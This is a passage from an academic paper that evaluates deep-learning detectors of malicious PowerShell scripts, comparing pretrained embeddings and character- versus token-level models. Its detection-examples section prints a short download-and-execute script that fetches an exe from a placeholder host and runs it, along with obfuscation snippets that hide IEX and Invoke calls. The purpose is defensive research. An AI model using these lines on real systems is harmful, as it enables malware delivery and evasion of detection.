avoid overfitting that may result from using too many training
epochs.
A. AUC results
For the traditional NLP models, we present the results of the
models that performed the best. These are the character-level
using tri-grams (Char-3-gram) and token-level using bi-grams
(Token-2-gram), both using tf-idf for feature weighting. First,
we focus on the area under the ROC curve (AUC) on the
validation set, presented in the AUC column in Table II.
As evident from Table II, all detectors obtain very high
AUC levels, above 0.987. At first glance, this may lead one to
conclude that they all provide sufficiently good performance.
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TABLE II
AREA UNDER THE ROC CURVE (AUC) AND TPR PER MODEL,
FPR≤ 10−3 . STANDARD DEVIATIONS ARE LESS THAN 0.005 ON THE
VALIDATION SET, 0.01 ON THE TRAIN SET, 0.03 ON THE TRAIN SET AND
0.003 FOR THE AUC
Model AUC Train Validation Test
Token-Char-FastText 0.994 0.949 0.929 0.894
Token-Char-W2v 0.995 0.972 0.922 0.810
Token-Char 0.991 0.997 0.928 0.775
CNN-FastText 0.987 0.939 0.916 0.769
CNN-W2V 0.994 0.976 0.944 0.779
CNN 0.994 0.999 0.943 0.711
CNN-RNN-FastText 0.991 0.937 0.921 0.818
CNN-RNN-W2V 0.994 0.962 0.929 0.805
CNN-RNN 0.991 0.997 0.930 0.736
CHAR-CNN 0.993 0.958 0.936 0.799
Char-3-gram 0.993 0.893 0.867 0.667
Token-2-gram 0.994 0.894 0.898 0.643
However, considering that in real-world deployments the rate
of PowerShell scripts to be classified by our models may be
very high, even a low FPR of 1% will result in too many
false alarms that would deem the detection system impractical.
Thus, for a detector to be useful, it must maintain a very low
FPR. Consequently, in what follows we evaluate the TPR of
the detectors while enforcing very low FPR levels.
B. TPR results
Columns ’Train’, ’Validate’ and ’Test’ in Table II present
the TPR of our detectors for FPR level ≤ 10−3, over the train,
validation and test sets. In general, when conducting cross-
validation on the train set, results are reported only for the
validation fold. We choose to report also on the performance
of our models on the train folds (in the column with heading
’Train’), since this allows us to better analyze the extent to
which different models suffer from overfitting.
As already mentioned, we conduct the analysis at an FPR
level of 10−3. Since we have a total of about 28,000 clean
scripts in each train set fold, using this threshold translates to
at most 28 FPs in each fold.
The TPR scores presented for the train and validation sets
in Table II are based on the average of the scores for the three
folds. As mentioned above, for each train set fold used for
validation, we select the model that provides the highest TPR
(over the epochs) on this fold, while keeping the FPR low. This
yields three detection models applied to each test set script,
resulting in three scores. The results presented in the ’Test’
column of table II are based on the average of the scores of
these three models. We use this technique for ensuring that
we apply the best model, as each epoch results in a different
model, and after a certain number of epochs the models starts
to overfit.
While all classifiers achieve relatively high TPR values, the
performance of the traditional NLP detectors is substantially
lower than that of the DL detectors. In comparison to the NLP
detectors, the DL detectors improve TPR by up to 4 pp on the
validation set and by up to 23 pp on the test set.
The decrease in detectors’ performance on the test set in
comparison with the validation set is expected, since the
train set (which includes the validation set) and the test set
were collected over disjoint periods of time. Moreover, as
we described in Section III-B, we deduplicated our labeled
data, so that the test set contains only scripts that were not
seen in the train set. This implies that our TPR results are,
in fact, a lower bound on the actual TPR. This is because, in
practice, many scripts that are observed in the training data
are likely to also appear in new data to which the detectors
are applied. Since TPR results on the training data are very
high, these duplicated scripts are very likely to be classified
correctly. However, because of de-duplication, such scripts do
not appear in our test set. A second possible explanation to
the lower performance on the test set is that the models were
overfitted to the validation set during the process of hyper-
parameters tuning and DL architecture selection.
Focusing on the DL models, it is noteworthy to observe
the impact of the pretrained embedding layer. First, inspecting
the results on the train set, the TPR of models without the
pretrained embedding is above 0.99 (these are the entries in red
font in the ”Train” column). These extremely high TPR values
are a strong indication of overfitting. Indeed, the overfitting of
models without pretrained embeddings is evident from their
lower performance on the test set.
For instance, focusing on the results of the Token-Char
architecture, let us compare the results of the Token-Char
and the Token-Char-FastText models. On the train set, Token-
Char overfits with TPR of 0.997 while Token-Char-FastText
obtains a TPR of 0.949. On the validation set, Token-Char-
FastText’s TPR very slightly outperforms that of Token-Char.
The absence of overfitting gained by using the pretrained
embedding is established by the results on the test set, where
Token-Char-FastText’s TPR improves over that of Token-Char
by almost 12 pp, from 0.775 to 0.894 (see the red-font entry
at the top of the ”Test” column in Table II). Similar results
(although with smaller gaps) can be observed in the CNN-
RNN architecture, where the TPR on the test set improves
from 0.736 to 0.818, and in the CNN architecture, where
it improves from 0.711 to 0.769. A possible explanation for
these results is that a pre-trained embedding enables the model
to leverage contextual relationships that are absent from the
labeled dataset, thus becoming less susceptible to overfitting.
Next, we compare the results obtained when using the two
types of embedding – FastText and W2V. We start our com-
parison with the models of the Token-Char architecture, where
the differences in performance between the two embedding
algorithms on the test set are more significant. On the train
set, the TPR of the W2V model exceeds that of FastText by
approx. 2.3 pp. As we’ve already observed, superior perfor-
mance on the train set is often a sign of higher overfitting and
this seems to be the case also here. Indeed, FastText takes the
lead on the validation set and outperforms W2V by approx.
10
0.7 pp. The gap becomes much more significant on the test
set, where Token-Char-FastText is the best model with a TPR
of more than 0.89, exceeding the TPR of Token-Char-W2V
by almost 8.5 pp.
A similar trend, although much less pronounced, is observed
on the CNN and the CNN-RNN architectures. W2V’s TP is
superior to that of FastText on the train set (by 3.7 pp and 2.5
pp, respectively), but the gaps are slightly decreased on the
validation set (2.8 pp and 0.8 pp, respectively) and significantly
decreased or even reversed on the test set (1 pp and -1.3 pp,
respectively).
Collectively, these results seem to indicate that, in our
setting, models employing FastText are better at generalizing
as compared with those based on W2V. A possible explanation
is that FastText is better in interpreting tokens that were not
seen in the train set but appear in the validation or test sets.
This is because FastText utlilizes sub-tokens in the embedding
process.
Summing up our analysis of TPR results, we reach the
following key conclusions:
1) The DL detection models significantly outperform the
traditional NLP models.
2) Pretrained embedding significantly improved TPR on
the test set: by 11.9 pp in the Token-Char architecture,
and by 8.2 and 6.8 pp in the CNN-RNN and CNN
architectures, respectively.
Another, more general conclusion, is the following: in some
cases, it is important to analyze the TPR on the train set and
not only on the validation set alone, in order to avoid selecting
an overfitted model. As evident from our evaluation, when two
models reach more-or-less the same TPR on the validation set,
the TPR on the train set can help us determine which model
will generalize better on unseen data.
We proceed to analyze in finer resolution the manner in
which contextual embedding improves detection performance.
C. The Contribution of Contextual Embeddings
In this section, we analyze the contribution of contextual
embedding. We start by measuring the contribution to the
model TPR that is gained by using non-labeled data in the
contextual embedding. We then describe and analyze specific
examples of malicious PowerShell tokens and code whose
detection is facilitated by using the embedding.
1) Contribution of Non-Labeled Data: In Section VI, we
evaluated 12 malicious-PowerShell-script detectors (see Table
II), 6 of which use a pretrained embedding layer. As we saw,
the pretrained embedding improves TPR significantly on all
architectures. We remind the reader that the embedding layer
was trained using both the train set and the unlabeled dataset.
In order to quantify the contribution of the unlabeled dataset
by itself to the TPR of our detection models, we generated an
embedding layer using the train set only and then measured
the TPR of the resulting models (while keeping the FPR below
0.001).
The results are presented by Table III. The ’Inline’ column
presents the TPR for the models without contextual embedding
and the ’All data’ column presents it for the models with an
embedding trained using both the train set and the unlabeled
dataset.16. The ’Train set only’ column presents the TPR
results of the new models, trained using the train set only –
without the unlabeled scripts. As can be seen by comparing the
2’nd and 3’rd columns of Table III, all the models except for
Token-Char-FastText hardly benefit at all from the contextual
embedding when it is trained using the train set only. Thus, the
contribution of the contextual embedding for these 5 models
should be fully attributed to the usage of the unlabeled dataset
(whose contribution can be quantified by comparing the 3’rd
and 4’th columns). The explanation for this is, most probably,
the fact that DL model weights are optimized anyway w.r.t.
the train set tokens by the supervised training process.
The results for the Token-Char-FastText detector are sig-
nificantly different. Training the contextual embedding solely
based on the train set improves TPR by approx. 4.8 pp over no
contextual embedding at all, while using also scripts from the
unlabeled corpus increases TPR by additional 7.1 pp. The con-
tribution of the train set embedding in this case can probably
be attributed to the character-level input representation.
2) Detection Examples: We now provide an example of
how the W2V embedding facilitates the detection of malicious
code. Consider the following short malicious script:
Invoke-WebRequest -Uri http://<Ip>/ry.exe
-OutFile
([System.IO.Path]::GetTempPath()+’c.exe’);
powershell.exe Start-Process -Filepath
([System.IO.Path]::GetTempPath()+’c.exe’);
In the above code, Invoke-WebRequest is used to fetch
the payload, write it to a temporary folder and then execute it.
Recall that the PowerShell command Invoke-WebRequest
has an alias – IWR. When replacing in the above cmdlet
Invoke-WebRequest by IWR, the CNN-RNN model using
the inline embedding scores the altered script 5 pp lower, that
is, it scores it as significantly less likely to be malicious. This
decrease does not occur when the CNN-RNN-W2V model is
used. We now explain the reason for this difference.
Counting token appearances in the train set, we found that
the Invoke-WebRequest command appears in 1540 clean
scripts and in 6 malicious scripts, while IWR appears in 27
16These values also appear in Table II and are presented here for facilitating
comparison.
TABLE III
TPR RESULTS WITHOUT CONTEXTUAL EMBEDDING (’INLINE’), WITH
CONTEXTUAL EMBEDDING USING TRAIN SET ONLY, AND WITH
CONTEXTUAL EMBEDDING USING BOTH THE UNLABELED DATASET AND
THE TRAIN SET.
Model Inline Train set only All data
Token-Char-FastText 0.775 0.823 0.894
Token-Char-W2v 0.775 0.763 0.810
CNN-FastText 0.711 0.72 0.769
CNN-W2V 0.711 0.713 0.779
CNN-RNN-FastText 0.736 0.736 0.818
CNN-RNN-W2V 0.736 0.729 0.805
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train set scripts, all of which are clean. This explains the
decrease in score of the inline embedding model.
In the model that uses the W2V embedding, on the other
hand, the Invoke-WebRequest command and its alias IWR
were found to be semantically equivalent, since each of the two
vectors to which they were mapped by W2V is the closest
neighbor of the other. Consequently, when using the CNN-
RNN-W2V model, no decrease in the score is observed when
replacing the command by its alias.
Next, we provide an example of how FastText facilitates
detection by comparing the performance of the CNN-RNN
model (which does not use a contextual embedding) with that
of CNN-RNN-FastText. We prefer to conduct this comparison
using the CNN-RNN architecture rather than the Token-
Char architecture, since the former only utilizes per-token
information, making it easier to pinpoint the contribution of
the contextual embedding.
The CNN-RNN-FastText model detected 143 scripts that
were not detected by the CNN-RNN model. Out of these, 137
are TPs and 6 are FPs.17 Manually analyzing these scripts,
we were not able to identify any specific tokens which could
have contributed to the detection. Nevertheless, our analysis of
the newly-detected scripts indicates that in at least 41 of these
scripts, detection can be, at least partly, attributed to the fact
that FastText uses sub-tokens. We now provide an example
showcasing the possible contribution of sub-tokens.
Our analysis identified the following 3 tokens (hence-
forth referred to as the example tokens), one or more
of which appearing in 41 of the newly detected scripts:
’responsetext’, ’responsebody’ and ’xmlhttp’.
These 4 tokens seem rather benign based on the train set: they
were respectively seen in 44, 84 and 49 train set scripts, out
of which only (respectively) 1, 2 and 2 were malicious. We
then analyzed the properties of their sub-tokens. In addition
to a significant increase in the number of train set scripts
that contain one or more of these sub-tokens (which is to be
expected), we found that some of them seem suspicious based
on the train set, as the ratio of malicious train set scripts in
which they appear is relatively high, facilitating the detection
of the scripts that contain them by the model. Examples of
such sub-tokens are:
• ’http’ appeared in 18,616 train set scripts, 2,024 of
which are malicious (10.8%).
• ’spo’ appeared in 7,296 scripts, 656 of which are
malicious (8.9%).
Since FastText utilizes sub-tokens for its embedding pro-
cess, the vector representations assigned to tokens with similar
sub-tokens are relatively close to each other. Consequently, as
the above sub-tokens appear in a malicious context (mostly
as part of tokens other than the example tokens), the fact that
the tokens containing them are embedded to vectors that are
relatively close to those of the example tokens can assist the
17On the other hand, 34 scripts detected by CNN-RNN with inline embed-
ding were not detected using FastText embedding. Out of these, 28 are TPs
and 6 are FPs.
model in correctly classifying scripts containing these example
tokens.
D. Character-Level Versus Token-Level Representations
In this section, we investigate the added value of the
character-level input representation over the token-level rep-
resentation and discuss the ways in which we combined the
two representations.
From Table II, we see that the TPR of the CHAR-CNN
model on the test set not only significantly surpasses that of
the NLP-based detectors, but also exceeds that of the CNN
architecture models by 2 pp or more. Its TPR is also com-
parable with that of the CNN-RNN architecture models and,
specifically, is exceeded by the CNN-RNN-FastText model by
less than 2 pp. We now analyze the differences in detection
between the CHAR-CNN and the CNN-RNN-FastText models
to better understand the added value of CHAR-CNN.
By comparing the detection results of these two models we
found that CNN-RNN-FastText detects 60 scripts that are not
detected by CHAR-CNN, 55 of which are TPs, while CHAR-
CNN detects 34 scripts (29 of which are TPs) that are not
detected by CNN-RNN-FastText. The significant added value
of the character-level model can be explained by the existence
of obfuscated scripts in our test set that are detected by it but
are not detected at the token level, as we explain next.
We focus first on the CNN-RNN-FastText model and
discuss how it treats various PowerShell code obfuscation
techniques and why some of them are not detected by it, using
concrete examples from the 29 test set scripts that are detected
by CHAR-CNN but evade CNN-RNN-FastText.
As we described previously, FastText uses sub-tokens to
construct a contextual embedding. This enables the model to
tackle one of the known methods of PowerShell obfuscation
– the use of string manipulations to construct a PowerShell
command. Unfortunately, in some cases, the usage of sub-
tokens by FastText is insufficient for detecting this type of
obfuscation. Moreover, there are additional PowerShell obfus-
cation techniques that are not detectable at the token level. We
identified 3 such “blind spots” of FastText18:
• One popular way of PowerShell code obfuscation, seen
in many malicious scripts, is the usage of tokens whose
characters alternate between lower-case and upper-case
(e.g., iNvOkE-wEbReQuEsT). Token-level representa-
tions are unable to detect this type of obfuscation, which
was observed in 16 of the 29 scripts that evaded CNN-
RNN-FastText.
• Special characters such as ’+’ and ’[’ or ’]’ are considered
as delimiters and are therefore absent from token-level
embeddings, that is, they do not appear as part of tokens
or sub-tokens. Out of the 29 missed scripts, 13 scripts
contain all of these 3 special characters. Interestingly,
in three of these scripts, we observed a relatively rare
obfuscation technique, in which a part of the script
18These are clearly blind spots of W2V as well, since W2V treats tokens
as atomic units.
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(that contained ASCII-encoded characters) appeared in
reverse order. An example of this obfuscation technique is
the command "[88]rahc[+96]rahc[+37]rahc",
which, upon reversal, becomes "IEX", an alias of the
"Invoke-Expression" cmdlet. It is impossible to
detect such obfuscation techniques without considering
the special characters they use.
• String manipulations using one or two characters
generally evade FastText. The minimum length of a
token is 2, hence a single character cannot contribute
to a model using the FastText embedding. As for
two-character tokens, these are likely to appear in
numerous contexts, and so it is reasonable to assume
that their embedding does not contribute much to
the detection. Indeed, in 12 of the 29 missed scripts,
tokens were constructed by concatenating multiple
strings, many of which are singleton characters or
2-character strings, thus evading FastText. Here is an
example of part of a command obfuscated in this manner:
’{2}{3}{0}{1}’-f ’Sc’,’RiPT’,’inVOk’,’E’
’vA’ + ’rI’+’aBle:jW4v’
Turning our attention back to the CHAR-CNN model, it
was established in [14] that it is able to detect many of
these obfuscation techniques, since it considers its input at the
character-level and takes character casing into consideration.
In the wake of the above analysis, we concluded that the
character-level and the token-level approaches are comple-
mentary and seem to cover different aspects of the detection
problem, hence sought ways of combining them. Our first
attempt to combine the two approaches was to construct an
ensemble that combines the detection results of CNN-RNN-
FastText and CHAR-CNN by using the average of the scores
they assign to the input script.
The ensemble increased the TPR on the test set to 0.835,
which translates to at least 45 additional script detections in
comparison to each of the two models by itself. Still, this is
almost 6 pp lower than the TPR of the Token-Char-FastText
model (which achieves a TPR of 0.894 on the test set). These
results indicate that feeding the DL model with both a token-
level and a character-level input representation enables it to
learn features based on combinations of signals from both
levels, providing more synergy between them than is possible
by using each model separately and feeding their scores to an
ensemble.
VII. RELATED WORK
Several recent reports by anti-malware vendors surveyed
the increasing use of PowerShell as a cybersecurity attack
vector [2]–[4]. Hendler et al. [14] presented the first detector
of malicious PowerShell code. Their detector is based on a DL
model that uses a character-level representation. Whereas their
detector is optimized for detecting PowerShell commands, our
detector targets the detection of malicious PowerShell scripts
and modules, whose syntax is much more complex. Holmes
and Bohannon [47] present a detector of obfuscated Pow-
erShell code. Although the problem of detecting obfuscated
scripts is related to that of detecting malicious scripts, these
are two different problems, because many malicious scripts are
not obfuscated and these scripts cannot be detected using the
approach of [47]. Moreover, benign PowerShell scripts may
be obfuscated as well.
Recently, Rusak et al. [48] presented a classifier of mali-
cious PowerShell scripts into malware families. Their classifier
is based on an Abstract Syntax Tree (AST) representation
of PowerShell scripts. Their DL model uses a small-scale
embedding of 62 types of AST node types. They report on
accuracy of 85% on their validation set. Unlike our work, they
do not address the problem of detection malicious PowerShell
code, nor do they use a (direct) contextual embedding of
PowerShell code.
In the following, we survey additional previous works that
present DL-based detectors, often in conjunction with an
embedding stage, for detecting malicious scripts, PE files
and URLs. Unlike our work, none of them uses unlabeled
data to pre-train an embedding layer. Moreover, whereas
our (best-performing) detector combines embeddings of both
language-level tokens and characters, these works only use
an embedding at a single representation level, mostly the
character/byte level.
Raff et al. [49] addressed the problem of detecting malicious
Portable Executable (PE) files using a DL model containing
an embedding layer. Their classifier uses the PE header only,
whose raw bytes are used as input to a DL model, containing
a W2V-style embedding layer. According to their evaluation,
their detector obtained similar results to those of using one-hot
encoding, which can be expected given the fact that their em-
bedding is conducted on character-level input. Athiwaratkun
and Stokes [50] addressed the same problem using dynamic
analysis of PE files, emulating file execution and recording
the sequence of system-calls executed by the program. This
generated a set of 114 unique high-level system-calls. These
sequences were used as input to several DL models, one
of which included an embedding layer which treated each
system-call in the sequence as a token.
Saxe and Berlin [51] use a character-level embedding in
conjuction with a CNN architecture for detecting malicious
URLs, file paths and registry values. They use several filter
sizes in order to mimic n-gram features. In recent work,
Yang et al. [52] propose a DL-based approach for detecting
malicious URLs. In their work, they use a character-level
embedding but also explicitly consider specific 95 suspicious
tokens for fine-tuning this embedding.
Stokes et al. [53] present a DL-based detector of malicious
JavaScript and VisualBasicScript code. They use the byte
representation of the script as model input. They experimented
with two architectures, one using a byte-level embedding,
which is more effective for analyzing relatively-short code
sequences, and another that processes the input in longer units
of fixed length before feeding it to the embedding layer. In
both cases, the embedding was learnt as part of the supervised
training. Wang et al. [54] present a malicious JavaScript code
detector. Their detector converts JavaScript code to binary
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vectors (according to character ASCII values), which are then
being input to the DL architecture, but does not use an
embedding technique.
In the rest of this section, we briefly describe two novel
contextual word embedding schemes with which we didn’t
experiment. Devlin et al. present BERT, applying the bidirec-
tional training of Transformer [55] to language modeling. They
present and use a novel masked language model technique for
conducting bidirectional training. Unlike FastText and W2V,
BERT uses multiple hidden layers.
Peters et al. present ELMo [56], an embedding technique
that constructs several vector representations for each token,
one per every context in which it appears. For instance, the
word ’pool’ has different meanings in the context of ’swim-
ming pool’ and ’playing pool’. ELMo uses two bidirectional
LSTM layers on top of a character-level convolution layer.
In this work, we chose to use W2V and FastText in order
to investigate the contribution of using pretrained embedding
for the detection of malicious PowerShell scripts. We preferred
these algorithms over BERT given the relatively-small dataset,
and over ELMo, since it is optimized for settings in which
many tokens have different meanings in different contexts,
which is not the case in the PowerShell “language”.
VIII. CONCLUSIONS AND FUTURE WORK
In this work, we addressed the problem of detecting mali-
cious PowerShell scripts. We presented and evaluated several
novel DL-based detectors that leverage a pre-trained contextual
embedding of tokens from the PowerShell “language”. A
unique feature of these detectors is that their embedding is
trained using a dataset enriched by a large corpus of unlabeled
PowerShell scripts. Our performance analysis establishes that
the usage of unlabeled data significantly increased detection
accuracy. A promising avenue for future work is to investi-
gate whether this technique can find additional cybersecurity
applications. As a first step, we plan to implement, using this
approach, detectors for additional scripting languages. Another
related interesting question is how best to strike a balance
between the sizes of the unlabeled dataset used for embedding
and the labeled dataset used for supervised training.
Our best model combines an embedding of language-level
tokens with one-hot encoding of characters. Feeding the DL
model with both a token-level and a character-level input rep-
resentation enables it to learn features based on combinations
of signals from both levels, thereby obtaining a TPR of nearly
90% while maintaining a low FPR of less than 0.1%, making
us hopeful that this model can be of practical value.
In future work, we plan to investigate alternative ways of
combining features based on both token-level and character-
level input representations.
REFERENCES
[1] Symantec, “Attackers are increasingly living off the land,” 2017.
[2] PaloAlto, “Pulling Back the Curtains on EncodedCommand PowerShell
Attacks,” 2017.
[3] Symantec, “The increased use of Powershell in attacks,” 2016.
[4] FireEye, “Malicious PowerShell Detection via Machine Learning,” 2018.
[5] I. J. Goodfellow, Y. Bengio, and A. C. Courville, Deep Learning,
ser. Adaptive computation and machine learning. MIT Press, 2016.
[Online]. Available: http://www.deeplearningbook.org/
[6] Y. LeCun, Y. Bengio, and G. Hinton, “Deep learning,” Nature, vol. 521,
no. 7553, pp. 436–444, 2015.
[7] J. Schmidhuber, “Deep learning in neural networks: An overview,”
Neural networks, vol. 61, pp. 85–117, 2015.
[8] T. Mikolov, I. Sutskever, K. Chen, G. S. Corrado, and J. Dean,
“Distributed representations of words and phrases and their composi-
tionality,” in Advances in neural information processing systems. NIPS,
2013, pp. 3111–3119.
[9] J. Pennington, R. Socher, and C. Manning, “Glove: Global vectors
for word representation,” in Proceedings of the 2014 conference on
empirical methods in natural language processing (EMNLP), 2014, pp.
1532–1543.
[10] P. Bojanowski, E. Grave, A. Joulin, and T. Mikolov, “Enriching word
vectors with subword information,” Transactions of the Association for
Computational Linguistics, vol. 5, pp. 135–146, 2017.
[11] J. Devlin, M.-W. Chang, K. Lee, and K. Toutanova, “Bert: Pre-training
of deep bidirectional transformers for language understanding,” arXiv
preprint arXiv:1810.04805, 2018.
[12] X. Zhang and Y. LeCun, “Text understanding from scratch,” arXiv
preprint arXiv:1502.01710, 2015.
[13] R. Jozefowicz, O. Vinyals, M. Schuster, N. Shazeer, and Y. Wu, “Explor-
ing the limits of language modeling,” arXiv preprint arXiv:1602.02410,
2016.
[14] D. Hendler, S. Kels, and A. Rubin, “Detecting malicious powershell
commands using deep neural networks,” in Proceedings of the 2018 on
Asia Conference on Computer and Communications Security. ACM,
2018, pp. 187–197.
[15] P. Bojanowski, E. Grave, A. Joulin, and T. Mikolov, “Enriching word
vectors with subword information,” arXiv preprint arXiv:1607.04606,
2016.
[16] A. Joulin, E. Grave, P. Bojanowski, and T. Mikolov, “Bag of tricks for
efficient text classification,” arXiv preprint arXiv:1607.01759, 2016.
[17] Y. LeCun, B. Boser, J. S. Denker, D. Henderson, R. E. Howard,
W. Hubbard, and L. D. Jackel, “Backpropagation applied to handwritten
zip code recognition,” Neural computation, vol. 1, no. 4, pp. 541–551,
1989.
[18] Y. LeCun, L. Bottou, Y. Bengio, and P. Haffner, “Gradient-based learning
applied to document recognition,” Proceedings of the IEEE, vol. 86,
no. 11, pp. 2278–2324, 1998.
[19] S. Hochreiter and J. Schmidhuber, “Long short-term memory,” Neural
computation, vol. 9, no. 8, pp. 1735–1780, 1997.
[20] D. W. Hosmer Jr, S. Lemeshow, and R. X. Sturdivant, Applied logistic
regression. John Wiley & Sons, 2013, vol. 398.
[21] IBM, “Ransomware Doesn’t Pay in 2018 as Cybercriminals Turn to
Cryptojacking for Profit,” 2019.
[22] I. Goodfellow, Y. Bengio, and A. Courville, Deep learning. MIT press,
2016.
[23] R. J. Schalkoff, Artificial neural networks. McGraw-Hill New York,
1997, vol. 1.
[24] B. Yegnanarayana, Artificial neural networks. PHI Learning Pvt. Ltd.,
2009.
[25] Y.-L. Boureau, F. Bach, Y. LeCun, and J. Ponce, “Learning mid-level
features for recognition,” in Computer Vision and Pattern Recognition
(CVPR), 2010 IEEE Conference on. IEEE, 2010, pp. 2559–2566.
[26] D. M. Hawkins, “The problem of overfitting,” Journal of chemical
information and computer sciences, vol. 44, no. 1, pp. 1–12, 2004.
[27] G. E. Hinton, N. Srivastava, A. Krizhevsky, I. Sutskever, and R. R.
Salakhutdinov, “Improving neural networks by preventing co-adaptation
of feature detectors,” arXiv preprint arXiv:1207.0580, 2012.
[28] S. Lai, L. Xu, K. Liu, and J. Zhao, “Recurrent convolutional neural
networks for text classification.” in AAAI, vol. 333, 2015, pp. 2267–
2273.
[29] T. Mikolov, M. Karafia´t, L. Burget, J. Cernocky`, and S. Khudanpur,
“Recurrent neural network based language model.” in Interspeech, vol. 2.
ISCA, 2010, p. 3.
[30] A. Graves, A.-r. Mohamed, and G. Hinton, “Speech recognition with
deep recurrent neural networks,” in Acoustics, speech and signal pro-
cessing (icassp), 2013 ieee international conference on. IEEE, 2013,
pp. 6645–6649.
14
[31] A. Graves and N. Jaitly, “Towards end-to-end speech recognition with
recurrent neural networks,” in Proceedings of the 31st International
Conference on Machine Learning (ICML-14). JMLR.org, 2014, pp.
1764–1772.
[32] H. Sak, A. Senior, and F. Beaufays, “Long short-term memory recurrent
neural network architectures for large scale acoustic modeling,” in
Fifteenth Annual Conference of the International Speech Communication
Association. ISCA, 2014.
[33] A. Graves, “Generating sequences with recurrent neural networks,” arXiv
preprint arXiv:1308.0850, 2013.
[34] A. Karpathy, G. Toderici, S. Shetty, T. Leung, R. Sukthankar, and
L. Fei-Fei, “Large-scale video classification with convolutional neural
networks,” in Proceedings of the IEEE conference on Computer Vision
and Pattern Recognition. IEEE, 2014, pp. 1725–1732.
[35] M. Schuster and K. K. Paliwal, “Bidirectional recurrent neural net-
works,” IEEE Transactions on Signal Processing, vol. 45, no. 11, pp.
2673–2681, 1997.
[36] Y. Goldberg, “A primer on neural network models for natural language
processing,” Journal of Artificial Intelligence Research, vol. 57, pp. 345–
420, 2016.
[37] D. E. Rumelhart, G. E. Hinton, and R. J. Williams, “Learning repre-
sentations by back-propagating errors,” nature, vol. 323, no. 6088, pp.
533–536, 1986.
[38] S. T. Roweis and L. K. Saul, “Nonlinear dimensionality reduction by
locally linear embedding,” science, vol. 290, no. 5500, pp. 2323–2326,
2000.
[39] T. Mikolov, K. Chen, G. Corrado, and J. Dean, “Efficient estimation of
word representations in vector space,” ICLR Workshop, 2013.
[40] S. Kaufman, S. Rosset, C. Perlich, and O. Stitelman, “Leakage in data
mining: Formulation, detection, and avoidance,” ACM Transactions on
Knowledge Discovery from Data (TKDD), vol. 6, no. 4, p. 15, 2012.
[41] L. v. d. Maaten and G. Hinton, “Visualizing data using t-sne,” Journal
of machine learning research, vol. 9, no. Nov, pp. 2579–2605, 2008.
[42] S. Xingjian, Z. Chen, H. Wang, D.-Y. Yeung, W.-K. Wong, and W.-
c. Woo, “Convolutional lstm network: A machine learning approach for
precipitation nowcasting,” in Advances in neural information processing
systems, 2015, pp. 802–810.
[43] Y. Kim, “Convolutional neural networks for sentence classification,”
arXiv preprint arXiv:1408.5882, 2014.
[44] R. Collobert and J. Weston, “A unified architecture for natural language
processing: Deep neural networks with multitask learning,” in Proceed-
ings of the 25th international conference on Machine learning. ACM,
2008, pp. 160–167.
[45] F. Chollet et al., “Keras,” https://github.com/fchollet/keras, 2015.
[46] L. Prechelt, “Early stopping-but when?” in Neural Networks: Tricks of
the trade. Springer, 1998, pp. 55–69.
[47] D. Bohannon and L. Holmes, “Revoke-obfuscation: powershell obfus-
cation detection using science,” 2017.
[48] G. Rusak, A. Al-Dujaili, and U.-M. O’Reilly, “Ast-based deep learning
for detecting malicious powershell,” in Proceedings of the 2018 ACM
SIGSAC Conference on Computer and Communications Security. ACM,
2018, pp. 2276–2278.
[49] E. Raff, J. Sylvester, and C. Nicholas, “Learning the pe header, malware
detection with minimal domain knowledge,” in Proceedings of the 10th
ACM Workshop on Artificial Intelligence and Security. ACM, 2017,
pp. 121–132.
[50] B. Athiwaratkun and J. W. Stokes, “Malware classification with lstm and
gru language models and a character-level cnn,” in Acoustics, Speech and
Signal Processing (ICASSP), 2017 IEEE International Conference on.
IEEE, 2017, pp. 2482–2486.
[51] J. Saxe and K. Berlin, “expose: A character-level convolutional neural
network with embeddings for detecting malicious urls, file paths and
registry keys,” arXiv preprint arXiv:1702.08568, 2017.
[52] W. Yang, W. Zuo, and B. Cui, “Detecting malicious urls via a keyword-
based convolutional gated-recurrent-unit neural network,” IEEE Access,
2019.
[53] J. W. Stokes, R. Agrawal, and G. McDonald, “Neural classification of
malicious scripts: A study with javascript and vbscript,” arXiv preprint
arXiv:1805.05603, 2018.
[54] Y. Wang, W.-d. Cai, and P.-c. Wei, “A deep learning approach for detect-
ing malicious javascript code,” security and communication networks,
vol. 9, no. 11, pp. 1520–1534, 2016.
[55] A. Vaswani, N. Shazeer, N. Parmar, J. Uszkoreit, L. Jones, A. N. Gomez,
L. Kaiser, and I. Polosukhin, “Attention is all you need,” in Advances
in Neural Information Processing Systems 30: Annual Conference on
Neural Information Processing Systems 2017, 4-9 December 2017,
Long Beach, CA, USA, 2017, pp. 6000–6010. [Online]. Available:
http://papers.nips.cc/paper/7181-attention-is-all-you-need
[56] M. E. Peters, M. Neumann, M. Iyyer, M. Gardner, C. Clark, K. Lee,
and L. Zettlemoyer, “Deep contextualized word representations,” arXiv
preprint arXiv:1802.05365, 2018.
15
IX. APPENDIX - IMPLEMENTATION DETAILS
We implemented our DL models using Keras19. For the DL
models, we used binary cross-entropy as a loss function, with
Adam optimizer, and a tolerance of 10−4. Data was processed
in mini-batches of size 512 with a maximum of 30 epochs.
Weights of samples were proportional to classes ratio.
As for traditional ML, SGD with log loss and L2 as penalty
were used. We stopped after 100 iterations, or if the change
in loss was smaller than 10−4.
A. CNN
On top of the Embedding layer we used a convolutional
layer with 128 filters and a kernel size of 3 (meaning that we
processed each time 3 tokens). A global Max-pooling layer
was used, reducing dimensionality, followed by a Dropout
layer and Dense layer with a Sigmoid activation function.
model = Sequential()
model.add(Embedding(32))
model.add(Conv1D(128,
kernel-size= 3,
padding=’valid’,
activation=’relu’,
strides=1))
model.add(GlobalMaxPooling1D())
model.add(Dropout(0.5))
model.add(Dense(1, activation=’sigmoid’))
B. CNN-RNN
We used an LSTM layer on top of a convolutional layer.
The convolutional layer had 128 filters and a kernel size
of 3 (meaning that we processed each time 3 tokens). A
max-pooling layer was used with a pool and stride size
of 3, reducing dimensionality, followed by a bi-directional
LSTM layer with output of size 32, and a Dense layer with a
Sigmoid activation function as our output
model = Sequential()
model.add(Embedding(32))
model.add(Conv1D(128,
kernel-size= 3,
padding=’valid’,
activation=’relu’,
strides=1))
model.add(MaxPooling1D(pool_size=3,
strides=3 ))
model.add(Bidirectional(LSTM(32,
dropout=0.5, recurrent_dropout=0.02)))
model.add(Dense(1, activation=’sigmoid’))
C. Token-Char
We used an LSTM layer on top of a concatenation of the
output of two convolutional layers – one on top of the token
level input and another from the character level input. Note
19https://keras.io/
that in the character level case, we use a global max pooling
layer on top of the convolution layer, resulting in a single
64 long tensor. In order to concatenate it with the output of
the max pooling performed on the token level convolutional
layer, we need to first duplicate this tensor to have the same
length as the latter. In both cases, the convolutional layer has
